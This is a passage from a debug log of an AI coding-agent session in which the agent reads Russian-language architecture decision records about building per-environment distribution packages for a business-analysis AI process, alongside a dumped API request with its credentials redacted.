\u043e\u0431\u0449\u0435\u0433\u043e \u0441\u043b\u043e\u044f \u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430 \u0441\u0440\u0435\u0434\u044b, \u043e\u0442\u0434\u0435\u043b\u044f\u044f \u0435\u0433\u043e \u043e\u0442 Source \u0438 rationale. \u041e\u0434\u043d\u0430\u043a\u043e \u044d\u0442\u043e \u0435\u0449\u0451 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442, \u043c\u043e\u0436\u043d\u043e \u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0432 \u0442\u0435\u043a\u0441\u0442 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0441\u0440\u0435\u0434\u0430\u043c\u0438 \u0438 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u0439, \u043e\u0442\u0431\u0440\u043e\u0448\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0438 \u0441\u0431\u043e\u0440\u043a\u0435. [Issue #617](\\n\\n## Decision\\n\\n\u041a\u0430\u0436\u0434\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `projects/ba-ai-process/dist/execution-package-/` \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u0430\u043a\u0435\u0442\u043e\u043c **\u0440\u043e\u0432\u043d\u043e \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0439 \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b**. \u0412 \u0435\u0433\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0439 \u0441\u043e\u0441\u0442\u0430\u0432 \u0432\u0445\u043e\u0434\u044f\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0430\u043d\u043d\u044b\u0435, \u043a\u043e\u0434, \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f, \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0438 \u043f\u0440\u0438\u043c\u0435\u0440\u044b, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438, \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u043b\u0438 \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0435\u0451 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u0430 **\u0432 \u044d\u0442\u043e\u0439 \u0441\u0440\u0435\u0434\u0435**. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0432\u043a\u043b\u044e\\n\\n\u0418\u0437 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439, \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432, \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u0432, \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u0432 \u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f:\\n\\n- \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0434\u043b\u044f \u0438\u043d\u044b\u0445 \u0441\u0440\u0435\u0434 \u0438\u043b\u0438 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438;\",\n[2026-09-29T07:45:20.856Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:20.856Z] [INFO]       }\n[2026-09-29T07:45:20.856Z] [INFO]     ]\n[2026-09-29T07:45:20.856Z] [INFO]   },\n[2026-09-29T07:45:20.856Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:45:20.856Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:20.856Z] [INFO]   \"uuid\": \"7ac57160-2973-479b-b75b-31e2b3bc9c12\",\n[2026-09-29T07:45:20.856Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:20.519Z\",\n[2026-09-29T07:45:20.856Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:45:20.856Z] [INFO]     \"stdout\": \"1:=== decisions/2026-09-adr-017-ba-ai-process-source-distribution.md\\n5:## Decision Metadata\\n47:=== decisions/2026-09-adr-020-clean-distribution-package.md\\n51:## Decision Metadata\\n69:## Decision\\n83:## Decision Drivers\\n93:=== docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md\\n97:## Decision Metadata\\n117:## Decision\\n139:=== docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md\\n143:## Decision Metadata\\n163:## Decision\\n185:=== docs/rfc/2026-09-source-pilot-verification.md\\n201:## Summary\\n231:=== docs/analysis/2026-09-29-cline-package-expectation-gap.md\\n241:## \u0412\u0435\u0440\u0434\u0438\u043a\u0442\\n\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430, \u043d\u043e \u043d\u0435\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0430 RRP.\\n\\n\u041d\u0443\u0436\u043d\u0430 \u044f\u0432\u043d\u0430\u044f \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0441\u043e\u0431\u0438\u0440\u0430\u0442\u044c \u043f\u0430\u043a\u0435\u0442\u044b \u0434\u043b\u044f\\n\u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0441\u0440\u0435\u0434 \u0438 \u043f\u0440\u0438 \u044d\u0442\u043e\u043c:\\n\\n- \u043d\u0435 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0435 rationale \u0432 runtime-\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044c;\\n- \u043d\u0435 \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u0442\u044c \u043e\u0442\u043b\u0430\u0434\u043a\u0443 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 \u0441 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u043c\u0438;\\n- \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u044b\u0439 runtime \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u044b\u043c \u043f\u0440\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 Source;\\n- \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 \u0431\u0435\u0437 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439\\n  \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438;\\n- \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0443 \u0441 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\u043c\u0438, \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044f\\n  \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0439.\\n\\n\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043f\u0443\u043d\u043a\u0442 \u0437\u0430\u0434\u0430\u0451\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u0433\u0440\u0430\u043d\u0438\u0446\u0443 \u0440\u0435\u0448\u0435\u043d\u0438\u044f. \u0422\u0435\u043a\u0443\u0449\u0430\u044f\\n[`ba-meta-model`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model)\\n\u0438\u043c\u0435\u0435\u0442 `scope: mango-only`; \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e\u043c\u0435\u043d\u0430 \u0438 \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b\\n\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u0435\u0451 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f. \u041d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 ADR \u0434\u0435\u043b\u0430\u0435\u0442 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0439\\n=== decisions/2026-09-adr-020-clean-distribution-package.md\\n\\n# ADR-020: \u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 Distribution\\n\\n## Decision Metadata\\n\\n| Field | Value |\\n| --- | --- |\\n| ADR id | ADR-020 |\\n| Decision type | methodology |\\n| Decision status | proposed; \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0432\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043f\u0440\u0438 review PR |\\n| Decision date | 2026-09-26 (\u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435) |\\n| Owner | G-Ivan-A |\\n| Source | [issue #617](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/617) |\\n| Impacted artifacts | \u0412\u0441\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0432 `projects/ba-ai-process/dist/` \u0438 \u0438\u0445 \u0431\u0443\u0434\u0443\u0449\u0438\u0435 \u0441\u0431\u043e\u0440\u0449\u0438\u043a\u0438 \u0438 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b |\\n| Supersedes | none; \u0443\u0442\u043e\u0447\u043d\u044f\u0435\u0442 [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md) |\\n| Superseded by | none |\\n\\n## Context\\n\\n[ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md) \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u043e\u0431\u0438\u0440\u0430\u0442\u044c \u043a\u0430\u0436\u0434\u044b\u0439 Distribution \u0438\u0437 \u043e\u0431\u0449\u0435\u0433\u043e \u0441\u043b\u043e\u044f \u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430 \u0441\u0440\u0435\u0434\u044b, \u043e\u0442\u0434\u0435\u043b\u044f\u044f \u0435\u0433\u043e \u043e\u0442 Source \u0438 rationale. \u041e\u0434\u043d\u0430\u043a\u043e \u044d\u0442\u043e \u0435\u0449\u0451 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442, \u043c\u043e\u0436\u043d\u043e \u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0432 \u0442\u0435\u043a\u0441\u0442 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0441\u0440\u0435\u0434\u0430\u043c\u0438 \u0438 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u0439, \u043e\u0442\u0431\u0440\u043e\u0448\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0438 \u0441\u0431\u043e\u0440\u043a\u0435. [Issue #617](\\n\\n## Decision\\n\\n\u041a\u0430\u0436\u0434\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `projects/ba-ai-process/dist/execution-package-/` \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u0430\u043a\u0435\u0442\u043e\u043c **\u0440\u043e\u0432\u043d\u043e \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0439 \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b**. \u0412 \u0435\u0433\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0439 \u0441\u043e\u0441\u0442\u0430\u0432 \u0432\u0445\u043e\u0434\u044f\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0430\u043d\u043d\u044b\u0435, \u043a\u043e\u0434, \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f, \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0438 \u043f\u0440\u0438\u043c\u0435\u0440\u044b, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438, \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u043b\u0438 \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0435\u0451 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u0430 **\u0432 \u044d\u0442\u043e\u0439 \u0441\u0440\u0435\u0434\u0435**. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0432\u043a\u043b\u044e\\n\\n\u0418\u0437 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439, \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432, \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u0432, \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u0432 \u0438 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\"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:20.878Z] [STDOUT]   options: {\n[2026-09-29T07:45:20.880Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:20.884Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:20.887Z] [STDOUT]     body: {\n[2026-09-29T07:45:20.890Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:20.892Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:20.895Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:20.897Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:20.900Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:20.904Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:20.909Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:20.912Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:20.915Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:20.918Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:20.922Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:20.925Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:20.930Z] [STDOUT]     },\n[2026-09-29T07:45:20.933Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:20.936Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:20.938Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:20.942Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:20.945Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:20.947Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:20.951Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:20.955Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:20.958Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:20.960Z] [STDOUT]     },\n[2026-09-29T07:45:20.965Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:20.969Z] [STDOUT]   },\n[2026-09-29T07:45:20.976Z] [STDOUT]   headers: {\n[2026-09-29T07:45:20.981Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:20.986Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:20.992Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:20.998Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:21.003Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:21.008Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:21.011Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:21.016Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:21.020Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:21.024Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1204\",\n[2026-09-29T07:45:21.026Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:21.035Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:45:21.040Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:21.045Z] [STDOUT]     \"x-client-request-id\": \"342da014-8d89-4025-aa87-ad1f9e6e044a\",\n[2026-09-29T07:45:21.048Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:21.050Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:21.054Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:21.057Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:21.062Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:21.064Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:21.067Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:21.069Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:21.071Z] [STDOUT]   },\n[2026-09-29T07:45:21.075Z] [STDOUT] }\n[2026-09-29T07:45:21.766Z] [INFO] {\n[2026-09-29T07:45:21.766Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:21.766Z] [INFO]   \"message\": {\n[2026-09-29T07:45:21.766Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:21.766Z] [INFO]     \"content\": [\n[2026-09-29T07:45:21.766Z] [INFO]       {\n[2026-09-29T07:45:21.766Z] [INFO]         \"tool_use_id\": \"toolu_01JvUQ5643vWRC5Xzkg3Jimx\",\n[2026-09-29T07:45:21.766Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:21.766Z] [INFO]         \"content\": \"artifact-micro-structure/10-theory.md:45:| `MTH-OPS` | \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0411\u0410 | \u0440\u043e\u043b\u044c \u00ab\u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u043e\u0440 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438 \u0425\u0430\u0431\u0430\u00bb |\\nREADME.md:118:  \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0435** \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0441 \u0448\u0435\u0441\u0442\u0438\u043f\u043e\u043b\u0435\u0432\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c,\\nnormalization/00-introduction.md:142:- \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 13 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 Mango \u2014 \u043d\u0430 \u044d\u0442\u043e\u0439 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u0438 \u043e\u043d\u0438\\nnormalization/10-theory.md:89:| E4 | **\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f** | \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043d\u0430\u0434 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u043c | \u0432\u0445\u043e\u0434, \u0432\u044b\u0445\u043e\u0434, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043d\u043e\u0441\u0442\u0438 |\\nnormalization/30-decision-framework.md:46:| U5 \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0444\u043e\u0440\u043c\u044b | 13 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 | **\u043f\u043e\u043b\u043d\u043e\u0435** | \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f |\\nnormalization/30-decision-framework.md:287:**\u041d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u044d\u0442\u043e\u0439 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u0438:** 13 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, 30 \u0442\u0438\u043f\u043e\u0432 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432,\\n----\\n./methodology-unification/50-open-research.md:78:| `B-131` | \u041f\u0438\u043b\u043e\u0442\u043d\u044b\u0439 \u043d\u0430\u0432\u044b\u043a `delta-baseline` (\u043a\u0435\u0439\u0441 `C-2`) \u0441 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u043c \u0433\u0435\u0439\u0442\u043e\u043c fail-closed | Gate 2 |\\n./methodology-unification/40-practice-and-cases.md:112:`fail-closed` \u043d\u0430 \u043f\u0443\u0441\u0442\u043e\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0435. \u0414\u0435\u0444\u0435\u043a\u0442 \u0431\u044b\u043b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u0447\u0435\u0440\u0435\u0437 \u0434\u0432\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043f\u043e\u0441\u043b\u0435\\n./methodology-unification/40-practice-and-cases.md:147:| `delta-baseline` | `understanding` | `\u041f1`/`\u041f2` | \u041c\u0430\u0442\u0440\u0438\u0446\u0430 `SSOT \u2192 \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u2192 \u0434\u0435\u043b\u044c\u0442\u0430` (\u043a\u0435\u0439\u0441 `C-2`) | `G-mach` fail-closed \u043d\u0430 \u043f\u0443\u0441\u0442\u043e\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0435 |\\n./methodology-unification/40-practice-and-cases.md:177:| `S4` \u0421\u0431\u043e\u0440\u043a\u0430 \u043d\u0430\u0432\u044b\u043a\u0430 | \u0421\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f `ai-rules/skills/delta-baseline/SKILL.md`: \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u0445\u043e\u0434\u0430 (\u043b\u043e\u0433 \u0434\u0438\u0430\u043b\u043e\u0433\u0430, \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b, \u0440\u0430\u0437\u0434\u0435\u043b\u044b KB), \u0432\u044b\u0445\u043e\u0434 (\u043c\u0430\u0442\u0440\u0438\u0446\u0430), \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438, \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 `G-mach` fail-closed |\\n./methodology-unification/40-practice-and-cases.md:223:\u041c\u0430\u0448\u0438\u043d\u043d\u044b\u0439, fail-closed: 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      \"type\": \"text\",\n[2026-09-29T07:45:22.601Z] [INFO]         \"text\": \"Still gathering evidence: I'm on the ADR-018/019 decisions and the pilot verification RFC. After that I'll write the two documents.\"\n[2026-09-29T07:45:22.601Z] [INFO]       }\n[2026-09-29T07:45:22.601Z] [INFO]     ],\n[2026-09-29T07:45:22.601Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:22.601Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:22.601Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:22.601Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:22.601Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:22.601Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:22.601Z] [INFO]       \"cache_creation_input_tokens\": 1722,\n[2026-09-29T07:45:22.601Z] [INFO]       \"cache_read_input_tokens\": 111279,\n[2026-09-29T07:45:22.601Z] 